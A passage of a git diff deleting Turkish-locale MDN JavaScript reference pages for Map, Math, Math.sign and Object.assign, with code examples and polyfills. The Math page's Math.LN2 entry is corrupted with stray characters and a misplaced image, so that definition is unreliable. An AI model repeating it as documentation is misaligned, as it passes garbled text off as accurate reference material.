<li>A <code>Map</code> is an <a href="/en-US/docs/Web/JavaScript/Guide/iterable">iterable</a> and can thus be directly iterated, whereas iterating over an <code>Object</code> requires obtaining its keys in some fashion and iterating over them.</li> - <li>An <code>Object</code> has a prototype, so there are default keys in the map that could collide with your keys if you're not careful. As of ES5 this can be bypassed by using <code>map = Object.create(null)</code>, but this is seldom done.</li> - <li>A <code>Map</code> may perform better in scenarios involving frequent addition and removal of key pairs.</li> -</ul> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt><code>Map.length</code></dt> - <dd>The value of the <code>length</code> property is 0.</dd> - <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt> - <dd>The constructor function that is used to create derived objects.</dd> - <dt>{{jsxref("Map.prototype")}}</dt> - <dd>Represents the prototype for the <code>Map</code> constructor. Allows the addition of properties to all <code>Map</code> objects.</dd> -</dl> - -<h2 id="Map_instances"><code>Map</code> instances</h2> - -<p>All <code>Map</code> instances inherit from {{jsxref("Map.prototype")}}.</p> - -<h3 id="Properties_2">Properties</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p> - -<h3 id="Methods">Methods</h3> - -<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_the_Map_object">Using the <code>Map</code> object</h3> - -<pre class="brush: js">var myMap = new Map(); - -var keyString = 'a string', - keyObj = {}, - keyFunc = function() {}; - -// setting the values -myMap.set(keyString, "value associated with 'a string'"); -myMap.set(keyObj, 'value associated with keyObj'); -myMap.set(keyFunc, 'value associated with keyFunc'); - -myMap.size; // 3 - -// getting the values -myMap.get(keyString); // "value associated with 'a string'" -myMap.get(keyObj); // "value associated with keyObj" -myMap.get(keyFunc); // "value associated with keyFunc" - -myMap.get('a string'); // "value associated with 'a string'" - // because keyString === 'a string' -myMap.get({}); // undefined, because keyObj !== {} -myMap.get(function() {}) // undefined, because keyFunc !== function () {} -</pre> - -<h3 id="Using_NaN_as_Map_keys">Using <code>NaN</code> as <code>Map</code> keys</h3> - -<p><code>NaN</code> can also be used as a key. Even though every <code>NaN</code> is not equal to itself (<code>NaN !== NaN</code> is true), the following example works because <code>NaN</code>s are indistinguishable from each other:</p> - -<pre class="brush: js">var myMap = new Map(); -myMap.set(NaN, 'not a number'); - -myMap.get(NaN); // "not a number" - -var otherNaN = Number('foo'); -myMap.get(otherNaN); // "not a number" -</pre> - -<h3 id="Iterating_Maps_with_for..of">Iterating <code>Maps</code> with <code>for..of</code></h3> - -<p>Maps can be iterated using a <code>for..of</code> loop:</p> - -<pre class="brush: js">var myMap = new Map(); -myMap.set(0, 'zero'); -myMap.set(1, 'one'); -for (var [key, value] of myMap) { - console.log(key + ' = ' + value); -} -// 0 = zero -// 1 = one - -for (var key of myMap.keys()) { - console.log(key); -} -// 0 -// 1 - -for (var value of myMap.values()) { - console.log(value); -} -// zero -// one - -for (var [key, value] of myMap.entries()) { - console.log(key + ' = ' + value); -} -// 0 = zero -// 1 = one -</pre> - -<h3 id="Iterating_Maps_with_forEach()">Iterating <code>Maps</code> with <code>forEach()</code></h3> - -<p>Maps can be iterated using the <code>forEach()</code> method:</p> - -<pre class="brush: js">myMap.forEach(function(value, key) { - console.log(key + ' = ' + value); -}); -// Will show 2 logs; first with "0 = zero" and second with "1 = one" -</pre> - -<h3 id="Relation_with_Array_objects">Relation with <code>Array</code> objects</h3> - -<pre class="brush: js">var kvArray = [['key1', 'value1'], ['key2', 'value2']]; - -// Use the regular Map constructor to transform a 2D key-value Array into a map -var myMap = new Map(kvArray); - -myMap.get('key1'); // returns "value1" - -// Use the Array.from function to transform a map into a 2D key-value Array -console.log(Array.from(myMap)); // Will show you exactly the same Array as kvArray - -// Or use the keys or values iterators and convert them to an array -console.log(Array.from(myMap.keys())); // Will show ["key1", "key2"] -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.Map")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li> - <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li> - <li>{{jsxref("Set")}}</li> - <li>{{jsxref("WeakMap")}}</li> - <li>{{jsxref("WeakSet")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/math/index.html b/files/tr/web/javascript/reference/global_objects/math/index.html deleted file mode 100644 index 774ed159f2..0000000000 --- a/files/tr/web/javascript/reference/global_objects/math/index.html +++ /dev/null @@ -1,191 +0,0 @@ ---- -title: Math -slug: Web/JavaScript/Reference/Global_Objects/Math -tags: - - JavaScript - - Math - - Namespace - - NeedsTranslation - - Reference - - TopicStub -translation_of: Web/JavaScript/Reference/Global_Objects/Math ---- -<div></div> - -<div>{{JSRef}}</div> - -<p><strong><code>Math</code></strong> is a built-in object that has properties and methods for mathematical constants and functions. It’s not a function object.</p> - -<p><code>Math</code> works with the {{jsxref("Number")}} type. It doesn't work with {{jsxref("BigInt")}}.</p> - -<h2 id="Description">Description</h2> - -<p>Unlike many other global objects, <code>Math</code> is not a constructor. All properties and methods of <code>Math</code> are static. You refer to the constant pi as <code>Math.PI</code> and you call the sine function as <code>Math.sin(<var>x</var>)</code>, where <code><var>x</var></code> is the method’s argument. Constants are defined with the full precision of real numbers in JavaScript.</p> - -<div class="note"> -<p><strong>Note:</strong> Many <code>Math</code> functions have a precision that’s <em>implementation-dependent.</em></p> - -<p>This means that different browsers can give a different result. Even the same JavaScript engine on a different OS or architecture can give different results!</p> -</div> - -<h2 id="Static_properties">Static properties</h2> - -<dl> - <dt>{{jsxref("Math.E")}}</dt> - <dd>Euler's constant and the base of natural logarithms; approximately <code>2.718</code>.</dd> - <dt>{{jsxref("Math.LN2")}}<code>lllllđđlđ</code></dt> - <dd>lllllđđ v<img alt="" src="https://mdn.mozillademos.org/files/14829/trigonometry.png" style="height: 166px; width: 200px;">ili ga ti tu of <code>2</code>; approximately <code>0.693</code>.</dd> - <dt>{{jsxref("Math.LN10")}}</dt> - <dd>Natural logarithm of <code>10</code>; approximately <code>2.303</code>.</dd> - <dt>{{jsxref("Math.LOG2E")}}</dt> - <dd>Base-2 logarithm of <code>E</code>; approximately <code>1.443</code>.</dd> - <dt>{{jsxref("Math.LOG10E")}}</dt> - <dd>Base-10 logarithm of <code>E</code>; approximately <code>0.434</code>.</dd> - <dt>{{jsxref("Math.PI")}}</dt> - <dd>Ratio of the a circle's circumference to its diameter; approximately <code>3.14159</code>.</dd> - <dt>{{jsxref("Math.SQRT1_2")}}</dt> - <dd>Square root of ½ (or equivalently, <sup>1</sup>/<sub>√2</sub>); approximately <code>0.707</code>.</dd> - <dt>{{jsxref("Math.SQRT2")}}</dt> - <dd>Square root of <code>2</code>; approximately <code>1.414</code>.</dd> -</dl> - -<h2 id="Static_methods">Static methods</h2> - -<dl> - <dt>{{jsxref("Global_Objects/Math/abs", "Math.abs(<var>x</var>)")}}</dt> - <dd>Returns the absolute value of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/acos", "Math.acos(<var>x</var>)")}}</dt> - <dd>Returns the arccosine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/acosh", "Math.acosh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic arccosine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/asin", "Math.asin(<var>x</var>)")}}</dt> - <dd>Returns the arcsine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/asinh", "Math.asinh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic arcsine of a number.</dd> - <dt>{{jsxref("Global_Objects/Math/atan", "Math.atan(<var>x</var>)")}}</dt> - <dd>Returns the arctangent of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/atanh", "Math.atanh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic arctangent of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/atan2", "Math.atan2(<var>y</var>, <var>x</var>)")}}</dt> - <dd>Returns the arctangent of the quotient of its arguments.</dd> - <dt>{{jsxref("Global_Objects/Math/cbrt", "Math.cbrt(<var>x</var>)")}}</dt> - <dd>Returns the cube root of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/ceil", "Math.ceil(<var>x</var>)")}}</dt> - <dd>Returns the smallest integer greater than or equal to <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/clz32", "Math.clz32(<var>x</var>)")}}</dt> - <dd>Returns the number of leading zeroes of the 32-bit integer <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/cos", "Math.cos(<var>x</var>)")}}</dt> - <dd>Returns the cosine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/cosh", "Math.cosh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic cosine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/exp", "Math.exp(<var>x</var>)")}}</dt> - <dd>Returns <code>E<var><sup>x</sup></var></code>, where <code><var>x</var></code> is the argument, and <code>E</code> is Euler's constant (<code>2.718</code>…, the base of the natural logarithm).</dd> - <dt>{{jsxref("Global_Objects/Math/expm1", "Math.expm1(<var>x</var>)")}}</dt> - <dd>Returns subtracting <code>1</code> from <code>exp(<var>x</var>)</code>.</dd> - <dt>{{jsxref("Global_Objects/Math/floor", "Math.floor(<var>x</var>)")}}</dt> - <dd>Returns the largest integer less than or equal to <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/fround", "Math.fround(<var>x</var>)")}}</dt> - <dd>Returns the nearest <a href="https://en.wikipedia.org/wiki/Single-precision_floating-point_format" title="link to the wikipedia page on single precision">single precision</a> float representation of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/hypot", "Math.hypot([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> - <dd>Returns the square root of the sum of squares of its arguments.</dd> - <dt>{{jsxref("Global_Objects/Math/imul", "Math.imul(<var>x</var>, <var>y</var>)")}}</dt> - <dd>Returns the result of the 32-bit integer multiplication of <code><var>x</var></code> and <code><var>y</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/log", "Math.log(<var>x</var>)")}}</dt> - <dd>Returns the natural logarithm (㏒<sub>e</sub>; also, ㏑) of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/log1p", "Math.log1p(<var>x</var>)")}}</dt> - <dd>Returns the natural logarithm (㏒<sub>e</sub>; also ㏑) of <code>1 + <var>x</var></code> for the number <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/log10", "Math.log10(<var>x</var>)")}}</dt> - <dd>Returns the base-10 logarithm of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/log2", "Math.log2(<var>x</var>)")}}</dt> - <dd>Returns the base-2 logarithm of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/max", "Math.max([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> - <dd>Returns the largest of zero or more numbers.</dd> - <dt>{{jsxref("Global_Objects/Math/min", "Math.min([<var>x</var>[, <var>y</var>[, …]]])")}}</dt> - <dd>Returns the smallest of zero or more numbers.</dd> - <dt>{{jsxref("Global_Objects/Math/pow", "Math.pow(<var>x</var>, <var>y</var>)")}}</dt> - <dd>Returns base <code><var>x</var></code> to the exponent power <code><var>y</var></code> (that is, <code><var>x</var><var><sup>y</sup></var></code>).</dd> - <dt>{{jsxref("Global_Objects/Math/random", "Math.random()")}}</dt> - <dd>Returns a pseudo-random number between <code>0</code> and <code>1</code>.</dd> - <dt>{{jsxref("Global_Objects/Math/round", "Math.round(<var>x</var>)")}}</dt> - <dd>Returns the value of the number <code><var>x</var></code> rounded to the nearest integer.</dd> - <dt>{{jsxref("Global_Objects/Math/sign", "Math.sign(<var>x</var>)")}}</dt> - <dd>Returns the sign of the <code><var>x</var></code>, indicating whether <code><var>x</var></code> is positive, negative, or zero.</dd> - <dt>{{jsxref("Global_Objects/Math/sin", "Math.sin(<var>x</var>)")}}</dt> - <dd>Returns the sine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/sinh", "Math.sinh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic sine of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/sqrt", "Math.sqrt(<var>x</var>)")}}</dt> - <dd>Returns the positive square root of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/tan", "Math.tan(<var>x</var>)")}}</dt> - <dd>Returns the tangent of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/tanh", "Math.tanh(<var>x</var>)")}}</dt> - <dd>Returns the hyperbolic tangent of <code><var>x</var></code>.</dd> - <dt>{{jsxref("Global_Objects/Math/trunc", "Math.trunc(<var>x</var>)")}}</dt> - <dd>Returns the integer portion of <code><var>x</var></code>, removing any fractional digits.</dd> -</dl> - -<h2 id="Examples">Examples</h2> - -<h3 id="Converting_between_degrees_and_radians">Converting between degrees and radians</h3> - -<p>The trigonometric functions <code>sin()</code>, <code>cos()</code>, <code>tan()</code>, <code>asin()</code>, <code>acos()</code>, <code>atan()</code>, and <code>atan2()</code> expect (and return) angles in <em>radians</em>.</p> - -<p>Since humans tend to think in degrees, and some functions (such as CSS transforms) can accept degrees, it is a good idea to keep functions handy that convert between the two:</p> - -<pre class="brush: js"><code class="language-js"><span class="keyword token">function</span> <span class="function token">degToRad</span><span class="punctuation token">(</span><span class="parameter token">degrees</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> - <span class="keyword token">return</span> degrees <span class="operator token">*</span> (Math<span class="punctuation token">.</span><span class="constant token">PI</span> <span class="operator token">/</span> <span class="number token">180</span><span class="punctuation token">);</span> -<span class="punctuation token">}</span><span class="punctuation token">;</span></code> - -function radToDeg(rad) { - return rad / (Math.PI / 180); -};</pre> - -<h3 id="Calculating_the_height_of_an_equalateral_triangle">Calculating the height of an equalateral triangle</h3> - -<p>If we want to calculate the height of an equalateral triangle, and we know its side length is 100, we can use the formulae <em>length of the adjacent multiplied by the tangent of the angle is equal to the opposite.</em></p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/14829/trigonometry.png" style="display: block; margin: 0 auto;"></p> - -<p>In JavaScript, we can do this with the following:</p> - -<pre class="brush: js">50 * Math.tan(degToRad(60)).</pre> - -<p>We use our <code>degToRad()</code> function to convert 60 degrees to radians, as <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/tan"><code>Math.tan()</code></a> expects an input value in radians.</p> - -<h3 id="Returning_a_random_integer_between_two_bounds">Returning a random integer between two bounds</h3> - -<p>This can be achieved with a combination of <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code> and <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code>:</p> - -<pre class="brush: js">function random(min, max) { - const num = Math.floor(Math.random() * (max - min + 1)) + min; - return num; -} - -random(1, 10);</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-math-object', 'Math')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - - - -<p>{{Compat("javascript.builtins.Math")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Number")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/math/sign/index.html b/files/tr/web/javascript/reference/global_objects/math/sign/index.html deleted file mode 100644 index cbed44a438..0000000000 --- a/files/tr/web/javascript/reference/global_objects/math/sign/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Math.sign() -slug: Web/JavaScript/Reference/Global_Objects/Math/sign -translation_of: Web/JavaScript/Reference/Global_Objects/Math/sign ---- -<div>{{JSRef}}</div> - -<div><code><strong>Math.sign()</strong></code> fonksiyonu, parametre olarak aldığı sayının negatif (-1) veya pozitif (1) olduğu bilgisini döndürür. Parametre olarak 0 gönderilirse, +/- 0 döndürür. Sayı pozitifse ayrıca + işareti döndürülmez.</div> - -<div></div> - -<div>{{EmbedInteractiveExample("pages/js/math-sign.html")}}</div> - -<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">Math.sign(<var>x</var>)</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code><var>x</var></code></dt> - <dd>A number. If this argument is not a <code>number</code>, it is implicitly converted to one.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>A number representing the sign of the given argument:</p> - -<ul> - <li>If the argument is positive, returns <code>1</code>.</li> - <li>If the argument is negative, returns <code>-1</code>.</li> - <li>If the argument is positive zero, returns <code>0</code>.</li> - <li>If the argument is negative zero, returns <code>-0</code>.</li> - <li>Otherwise, {{jsxref("NaN")}} is returned.</li> -</ul> - -<h2 id="Description">Description</h2> - -<p>Because <code>sign()</code> is a static method of <code>Math</code>, you always use it as <code>Math.sign()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p> - -<h2 id="Polyfill">Polyfill</h2> - -<pre class="brush: js">if (!Math.sign) { - Math.sign = function(x) { - // If x is NaN, the result is NaN. - // If x is -0, the result is -0. - // If x is +0, the result is +0. - // If x is negative and not -0, the result is -1. - // If x is positive and not +0, the result is +1. - return ((x > 0) - (x < 0)) || +x; - // A more aesthetic pseudo-representation: - // - // ( (x > 0) ? 1 : 0 ) // if x is positive, then positive one - // + // else (because you can't be both - and +) - // ( (x < 0) ? -1 : 0 ) // if x is negative, then negative one - // || // if x is 0, -0, or NaN, or not a number, - // +x // then the result will be x, (or) if x is - // // not a number, then x converts to number - }; -} -</pre> - -<p>In the above polyfill, no extra type-coercing is needed to make <code>(x > 0)</code> or <code>(x < 0)</code> numbers because subtracting them from each other forces a type conversion from booleans to numbers.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Using_Math.sign">Using <code>Math.sign()</code></h3> - -<pre class="brush: js">Math.sign(3); // 1 -Math.sign(-3); // -1 -Math.sign('-3'); // -1 -Math.sign(0); // 0 -Math.sign(-0); // -0 -Math.sign(NaN); // NaN -Math.sign('foo'); // NaN -Math.sign(); // NaN -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Specification</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{SpecName('ESDraft', '#sec-math.sign', 'Math.sign')}}</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> - -<p>{{Compat("javascript.builtins.Math.sign")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Math.abs()")}}</li> - <li>{{jsxref("Math.ceil()")}}</li> - <li>{{jsxref("Math.floor()")}}</li> - <li>{{jsxref("Math.round()")}}</li> - <li>{{jsxref("Math.trunc()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/object/assign/index.html b/files/tr/web/javascript/reference/global_objects/object/assign/index.html deleted file mode 100644 index 9490bcec2d..0000000000 --- a/files/tr/web/javascript/reference/global_objects/object/assign/index.html +++ /dev/null @@ -1,311 +0,0 @@ ---- -title: Object.assign() -slug: Web/JavaScript/Reference/Global_Objects/Object/assign -translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign ---- -<div>{{JSRef}}</div> - -<p><strong><code>Object.assign() </code></strong><code>metodu</code><strong><code> </code></strong><code>bir</code><strong><code> </code></strong><code>ya da daha fazla kaynaktaki sayılabilir özellikteki nesnelerin tüm değerlerini hedef kaynaktaki nesneye kopyalamak için kullanılır. Hedef nesnesini geri döndürür.</code></p> - -<h2 id="Yazım_Şekli">Yazım Şekli</h2> - -<pre class="syntaxbox">Object.assign(<var>hedef_nesne</var>, ...<em>kaynak_nesneler</em>)</pre> - -<h3 id="Değişkenler">Değişkenler</h3> - -<dl> - <dt><code>hedef_nesne</code></dt> - <dd>Kaydedilecek olan hedef nesne.</dd> - <dt><code>kaynak_nesneler</code></dt> - <dd>Kaynak nesne(ler).</dd> -</dl> - -<h3 id="Dönüş_Değeri">Dönüş Değeri</h3> - -<p>Hedef nesne.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p>Hedef nesnedeki değişkenlerin özellikleri kaynak nesnedeklerle aynı anahtar değerlerine sahipse üzerine yazılır. Daha sonra kaynaklardaki değerler benzer şekilde bir öncekiler gibi üzerine yazılır.</p> - -<p><code>Object.assign() metodu</code> bir kaynak nesnesinden bir hedef nesnesine <code>sadece</code><em> sayılabilir </em>ve sahip olduğu<em> özellikleri</em> kopyalar. Kaynak nesne için <code>[[Get]] ve hedef nesne için [[Set]]'i kullanır, böylelikle <em>getter</em> ve <em>setter</em></code> metodlarını çağırır. Bu nedenle yeni özellikleri sadece kopyalama ya da tanımlamaya karşı hedef nesneye atama yapar. Birleştirme kaynakları <em>getter</em> içeriyorsa, yeni özelliklerin bir prototip halinde birleştirilmesi uygun olmayabilir. Sayılabilir özellikler de dahil olmak üzere özellik tanımlamalarını kopyalamak için, prototiplerdeki {{jsxref("Object.getOwnPropertyDescriptor()")}} yerine {{jsxref("Object.defineProperty()")}} kullanılmalıdır.</p> - -<p>{{jsxref("String")}} ve {{jsxref("Symbol")}} özelliklerin her ikisi de kopyalanır.</p> - -<p>Hata durumunda,örneğin bir özelliklik yazılamaz durumda ise, bir {{jsxref("TypeError")}} durumu oluşacaktır ve hedef nesne değişmeden kalacaktır.</p> - -<p><code>Object.assign() metodu kaynak nesnelerdeki</code> {{jsxref("null")}} ya da {{jsxref("undefined")}} durumlarını fırlatmayacağını not ediniz.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Nesne_klonlama">Nesne klonlama</h3> - -<pre class="brush: js">var obj = { a: 1 }; -var copy = Object.assign({}, obj); -console.log(copy); // { a: 1 } -</pre> - -<h3 id="Deep_Clone" name="Deep_Clone">Derin Klonlamada Bir Uyarı</h3> - -<p>Derin klonlama(kopyalama) için, diğer alternatiflere ihtiyacımız vardır. Çünkü <code>Object.assign() özellikleri kopyalar. Eğer kaynak değeri bir nesnenin referansı ise sadece referans değerini kopyalar.</code></p> - -<pre class="brush: js">function test() { - 'use strict'; - - let obj1 = { a: 0 , b: { c: 0}}; - let obj2 = Object.assign({}, obj1); - console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} - - obj1.a = 1; - console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} - console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}} - - obj2.a = 2; - console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}} - console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}} - - obj2.b.c = 3; - console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} - console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} - - // Deep Clone - obj1 = { a: 0 , b: { c: 0}}; - let obj3 = JSON.parse(JSON.stringify(obj1)); - obj1.a = 4; - obj1.b.c = 4; - console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} -} - -test();</pre> - -<h3 id="Nesneleri_Birleştirme">Nesneleri Birleştirme</h3> - -<pre class="brush: js">var o1 = { a: 1 }; -var o2 = { b: 2 }; -var o3 = { c: 3 }; - -var obj = Object.assign(o1, o2, o3); -console.log(obj); // { a: 1, b: 2, c: 3 } -console.log(o1); // { a: 1, b: 2, c: 3 } // hedef nesnenin kendisi değişti.</pre> - -<h3 id="Nesneleri_Aynı_Özelliklerde_Birleştirme">Nesneleri Aynı Özelliklerde Birleştirme</h3> - -<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 }; -var o2 = { b: 2, c: 2 }; -var o3 = { c: 3 }; - -var obj = Object.assign({}, o1, o2, o3); -console.log(obj); // { a: 1, b: 2, c: 3 } -</pre> - -<p>Özellikler diğer nesneler tarafından parametreler içindeki sonra gelen aynı özelliklerdeki nesnelerin özellikleri olarak üzerine yazıldı.</p> - -<h3 id="Sembol-Tipdeki_Özellikleri_Kopyalama">Sembol-Tipdeki Özellikleri Kopyalama </h3> - -<pre class="brush: js">var o1 = { a: 1 }; -var o2 = { [Symbol('foo')]: 2 }; - -var obj = Object.assign({}, o1, o2); -console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox) -Object.getOwnPropertySymbols(obj); // [Symbol(foo)] - -</pre> - -<h3 id="Prototipteki_Zincirleme_Özellikler_ve_Sayılamayan_Özellikler_Kopyalanamaz">Prototipteki Zincirleme Özellikler ve Sayılamayan Özellikler Kopyalanamaz</h3> - -<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo is on obj's prototype chain. - bar: { - value: 2 // bar sayılamayan özellik - }, - baz: { - value: 3, - enumerable: true // baz sayılabilen özellik - } -}); - -var copy = Object.assign({}, obj); -console.log(copy); // { baz: 3 } - -</pre> - -<h3 id="Değişken_Tipleri_Objelere_Sarmalanır">Değişken Tipleri Objelere Sarmalanır</h3> - -<pre class="brush: js">var v1 = 'abc'; -var v2 = true; -var v3 = 10; -var v4 = Symbol('foo'); - -var obj = Object.assign({}, v1, null, v2, undefined, v3, v4); -// Değişken tipleri sarmalanır, null ve undefined görmezden gelinir. -// Sadece string tipteki değişkenler sayılabilir özelliktedir. -console.log(obj); // { "0": "a", "1": "b", "2": "c" } - -</pre> - -<h3 id="Hatalar_Devam_Eden_Kopyalama_İşlemlerini_Kesintiye_Uğratır">Hatalar Devam Eden Kopyalama İşlemlerini Kesintiye Uğratır</h3> - -<pre class="brush: js">var target = Object.defineProperty({}, 'foo', { - value: 1, - writable: false -}); // target.foo sadece-okunabilir özellik - -Object.assign(target, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 }); -// TypeError: "foo" sadece-okunabilir özellik -// foo hedefe aktarma sırasında hata fırlatır - -console.log(target.bar); // 2: ilk kaynak başarıyla kopyalandı. -console.log(target.foo2); // 3: ikinci kaynağın ilk özelliği başarıyla kopyalandı. -console.log(target.foo); // 1: burada hata oluşur. -console.log(target.foo3); // undefined: atama metodu bitti, foo3 kopyalanmayacak. -console.log(target.baz); // undefined: üçüncü kaynak da kopyalanmayacak. -</pre> - -<h3 id="Erişimcileri_Kopyalama">Erişimcileri Kopyalama</h3> - -<pre class="brush: js">var obj = { - foo: 1, - get bar() { - return 2; - } -}; - -var copy = Object.assign({}, obj); -console.log(copy); -// { foo: 1, bar: 2 }, the value of copy.bar is obj.bar's getter's return value. - -// This is an assign function that copies full descriptors -function completeAssign(target, ...sources) { - sources.forEach(source => { - let descriptors = Object.keys(source).reduce((descriptors, key) => { - descriptors[key] = Object.getOwnPropertyDescriptor(source, key); - return descriptors; - }, {}); - // by default, Object.assign copies enumerable Symbols too - Object.getOwnPropertySymbols(source).forEach(sym => { - let descriptor = Object.getOwnPropertyDescriptor(source, sym); - if (descriptor.enumerable) { - descriptors[sym] = descriptor; - } - }); - Object.defineProperties(target, descriptors); - }); - return target; -} - -var copy = completeAssign({}, obj); -console.log(copy); -// { foo:1, get bar() { return 2 } } -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p> ES5 sembol özelliğine sahip olmadığından {{Glossary("Polyfill","polyfill")}} sembol özelliği desteklenmez:</p> - -<pre class="brush: js">if (typeof Object.assign != 'function') { - Object.assign = function(target, varArgs) { // .length of function is 2 - 'use strict'; - if (target == null) { // TypeError if undefined or null - throw new TypeError('Cannot convert undefined or null to object'); - } - - var to = Object(target); - - for (var index = 1; index < arguments.length; index++) { - var nextSource = arguments[index]; - - if (nextSource != null) { // Skip over if undefined or null - for (var nextKey in nextSource) { - // Avoid bugs when hasOwnProperty is shadowed - if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) { - to[nextKey] = nextSource[nextKey]; - } - } - } - } - return to; - }; -} -</pre> - -<h2 id="Belirtimler">Belirtimler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Belirtim</th> - <th scope="col">Durumlar</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_Destekleme_Durumu">Tarayıcı Destekleme Durumu</h2> - 